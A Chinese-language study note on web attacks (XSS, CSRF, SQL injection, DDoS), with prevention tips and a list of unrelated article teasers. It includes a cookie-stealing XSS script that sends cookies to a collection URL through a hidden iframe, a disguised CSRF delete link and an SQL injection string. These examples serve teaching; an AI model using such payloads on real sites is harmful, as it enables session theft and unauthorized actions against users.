网络安全——笔记
XSS:跨站脚本(Cross-site scripting)
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
可能只是简单的恶作剧
while (true) {alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作
<!-- 用 <script type="text/javascript"></script> 包起来放在评论中 -->
<script type="text/javascript">
(function(window, document) {// 构造泄露信息用的 URLvar cookies = document.cookie;var xssURIBase = "http://localhost:2000/myxss/";var xssURI = xssURIBase + window.encodeURI(cookies);// 建立隐藏 iframe 用于通讯var hideFrame = document.createElement("iframe");hideFrame.height = 0;hideFrame.width = 0;hideFrame.style.display = "none";hideFrame.src = xssURI;// 开工document.body.appendChild(hideFrame);
})(window, document);
</script>
预防
不要相信用户提交的内容,对提交的字符串进行过滤。
CSRF:跨站请求伪造(Cross-site request forgery)
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title>
</head>
<body>
<a href="http://localhost:2000/topic/delete?id=1">点击领取金币
</a>
<img src="http://localhost:2000/topic/delete?id=1">
</body>
</html>
当用户访问页面就会用用户的账号进行操作
预防
设置令牌
csrf_tokens = dict()@main.route("/")
def index():# board_id = 2board_id = int(request.args.get('board_id', -1))if board_id == -1:ms = Topic.all()else:ms = Topic.find_all(board_id=board_id)token = str(uuid.uuid4())u = current_user()csrf_tokens['token'] = u.idbs = Board.all()return render_template("topic/index.html", ms=ms, token=token, bs=bs)@main.route("/delete")
def delete():id = int(request.args.get('id'))token = request.args.get('token')u = current_user()# 判断 token 是否是我们给的if token in csrf_tokens and csrf_tokens[token] == u.id:csrf_tokens.pop(token)if u is not None:print('删除 topic 用户是', u, id)Topic.delete(id)return redirect(url_for('.index'))else:abort(404)else:abort(403)
<a class="topic_title" href="{{ url_for('topic.delete', id=t.id, token=token) }}">删除
</a>
SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
例如
def select(conn):# 一个注入的用户名usr = 'abc" or "1"="1'pwd = 'abc'sql = '''SELECTid, username, emailFROMusersWHEREusername="{}" and password="{}"'''.format(usr, pwd)# 读取数据cursor = conn.execute(sql)print('所有数据', list(cursor))# for row in cursor:# print(row)
预防
永远不要信任用户的输入,对用户的输入进行校验,不要使用动态拼装sql。
DDOS攻击
DDOS 里面的 DOS 是 denial of service(停止服务)的缩写,表示这种攻击的目的,就是使得服务中断。最前面的那个 D 是 distributed (分布式),表示攻击不是来自一个地方,而是来自四面八方,因此更难防。
举例来说:应该类似攻击餐馆门口的前台排号机(Gateway),很少真的过去消费。300个人混在30个真实客户里面,然后取完号(Token)就走,过了号继续取号,前台每次都必须叫三遍这个号才能过号,结果就是想消费的客户一直在等待,前台一直忙着叫号和过号。
预防
- 专用硬件,Web 服务器的前面可以架设硬件防火墙,专门过滤请求。
- 本机防火墙,操作系统都带有软件防火墙,Linux 服务器一般使用 iptables。
- Web 服务器, 如:nginx,Apache可以过滤请求
相关文章:
网络安全——笔记
XSS:跨站脚本(Cross-site scripting) XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文…...
Maven pom.xml配置详解
pom.xml是什么? pom.xml(项目对象模型-Project Object Model的缩写)是Maven项目的核心配置文件,用于管理项目的依赖、插件、构建配置等。 举例说明:以阿里巴巴的fastjson为例: <?xml version"1.…...
2024深圳国际电线电缆及电源产品展览会
2024深圳国际电线电缆及电源产品展览会 2024 Shenzhen International Coupling, Clutch and Brake Exhibition 时间:2024年08月28-30日 地点:深圳国际会展中心(新馆) 预订以上展会详询陆先生 I38(前三位ÿ…...
如何成功将自己开发的APP上架到应用商店
随着移动应用市场的蓬勃发展,开发一款优秀的APP已成为许多企业和个人的首要选择。然而,成功上架并有效推广APP至关重要。本文将逐步介绍完整的上架流程,包括准备所需材料、注册开发者账户、进行APP备案、提交审核以及上架成功后的推广和维护。…...
Jetson AGX ORIN 配置 FGVC-PIM 神经网络(包含 arm64 下面 torch 和 torchvision 配置内容)
Jetson AGX ORIN 配置 FGVC-PIM 神经网络 文章目录 Jetson AGX ORIN 配置 FGVC-PIM 神经网络配置 ORIN 环境创建 FGVC-PIM 虚拟环境安装 PyTorch安装 torchvision安装其他依赖包 配置 ORIN 环境 首先先配置 ORIN 的环境,可以参考这个链接: Jetson AGX …...
mybatisplus和mybatis兼容问题
Invalid bound statement (not found) 错误 原xml配置 <bean id"sqlSessionFactory" class"org.mybatis.spring.SqlSessionFactoryBean"><property name"mapperLocations" value"classpath:/META-INF/mapper/*.xml"/>&l…...
nodejs安装使用React
1、react安装 首先,确保电脑上具备nodejs环境,之后用 winr 呼出控制台,输入 cmd 命令弹出cmd控制台(小黑框)之后在默认路径输入如下代码 npm i -g create-react-app //全局安装react环境无需选择特定文件夹安装成功后…...
防御性编程,可能是导致被裁员的更大的原因,别被误导了
裁员与反裁员是当前IT界一个经典的话题,作为打工者的猿人常常讨论了N多的防御性编程,代码不可读、代码不好改、代码深度嵌套、代码留bug等等。 其实防御性编程只会让决策者加速解耦你与业务系统: 1、增加代码走查的环节(增加成本…...
Unity与鼠标相关的事件(自己记忆用)
1. OnMouseDown:当用户按下鼠标按钮时调用。 - 参数:MouseEvent,可以用来确定哪个鼠标按钮被按下。 2. OnMouseUp:当用户释放鼠标按钮时调用。 - 参数:MouseEvent,可以用来确定哪个鼠标按钮被释放。…...
模型权重下载方法
下载方法1:git lfs下载 1、在hf-mirror.com中搜索模型,如搜索text2vec-large-chinese, 点击模型进入页面:https://hf-mirror.com/GanymedeNil/text2vec-large-chinese/tree/main 2、git lfs install 3、git clone https://hf-mir…...
JS基础之 数据浅拷贝与深拷贝
一、拷贝背景 JS引用数据类型有两类:基本数据类型和引用数据类型; 基本类型:String,Number,Boolean,Null,Undefined,symbol这6种基本数据类型它们是直接按值存放的,所以…...
FFmpeg开发笔记(十四)音频重采样的缓存
FFmpeg在很多地方都运用了缓存机制,比如《FFmpeg开发实战:从零基础到短视频上线》一书的“3.3.2 对视频流重新编码”介绍了编解码的数据缓存,不单是视频编码过程和视频解码过程有缓存,甚至连音频重采样都用到了缓存。 也就是说&a…...
详解Python面向对象编程(一)
类和对象 面向过程——怎么做? (1)把完成某一需求的所有步骤、从头到尾,逐步实现 (2)根据开发需求,将某些功能独立的代码块封装成一个又一个的函数 (3)最后完成的代码&a…...
一文带你完整了解Go语言IO基础库
作者 | 百度小程序团队 导读 introduction 对于刚接触Golang学习的同学,估计比较难掌握的知识点之一就是文件IO处理,光在基础库里会发现 golang除了io包提供文件处理外,os包,http包,embed包都有提供类似的处理…...
Java基于微信小程序的校园请假系统
博主介绍:✌程序员徐师兄、7年大厂程序员经历。全网粉丝15W、csdn博客专家、掘金/华为云//InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇&#…...
Expert Prompting-引导LLM成为杰出专家
ExpertPrompting: Instructing Large Language Models to be Distinguished Experts 如果适当设计提示,对齐的大型语言模型(LLM)的回答质量可以显著提高。在本文中,我们提出了ExpertPrompting,以激发LLM作为杰出专家回…...
Element-Plus下拉菜单边框去除教程
🌟 前言 欢迎来到我的技术小宇宙!🌌 这里不仅是我记录技术点滴的后花园,也是我分享学习心得和项目经验的乐园。📚 无论你是技术小白还是资深大牛,这里总有一些内容能触动你的好奇心。🔍 &#x…...
免费redis可视化工具windows/mac都可以使用,开源免费
官方地址:RedisInsight | The Best Redis GUI github开源地址:GitHub - RedisInsight/RedisDesktopManager Redis Desktop Manager – Redis可视化管理工具、redis图形化管理工具、redis可视化客户端、redis集群管理工具。 官方下载方式 滚动到页面底…...
PHPCMS v9城市分站插件
PHPCMS自带的有多站点功能,但是用过的朋友都知道,自带的多站点功能有很多的不方便之处,例如站点栏目没法公用,每个站点都需要创建模型、每个站点都需要单独添加内容,还有站点必须静态化。如果你内容很多这些功能当然无…...
学习几个地图组件(基于react)
去年开发时用的公司封装的地图组件,挺方便的,但是拓展性不强,所以看看有哪些优秀的开源地图组件吧 1、React Leaflet 介绍:开源的JavaScript库,用于在web上制作交互式地图,允许你使用React组件的方式在应…...
手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...
云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地
借阿里云中企出海大会的东风,以**「云启出海,智联未来|打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办,现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...
相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了: 这一篇我们开始讲: 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下: 一、场景操作步骤 操作步…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务
通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...
Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
九天毕昇深度学习平台 | 如何安装库?
pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...
保姆级教程:在无网络无显卡的Windows电脑的vscode本地部署deepseek
文章目录 1 前言2 部署流程2.1 准备工作2.2 Ollama2.2.1 使用有网络的电脑下载Ollama2.2.2 安装Ollama(有网络的电脑)2.2.3 安装Ollama(无网络的电脑)2.2.4 安装验证2.2.5 修改大模型安装位置2.2.6 下载Deepseek模型 2.3 将deepse…...
Python+ZeroMQ实战:智能车辆状态监控与模拟模式自动切换
目录 关键点 技术实现1 技术实现2 摘要: 本文将介绍如何利用Python和ZeroMQ消息队列构建一个智能车辆状态监控系统。系统能够根据时间策略自动切换驾驶模式(自动驾驶、人工驾驶、远程驾驶、主动安全),并通过实时消息推送更新车…...
STM32---外部32.768K晶振(LSE)无法起振问题
晶振是否起振主要就检查两个1、晶振与MCU是否兼容;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容(CL)与匹配电容(CL1、CL2)的关系 2. 如何选择 CL1 和 CL…...
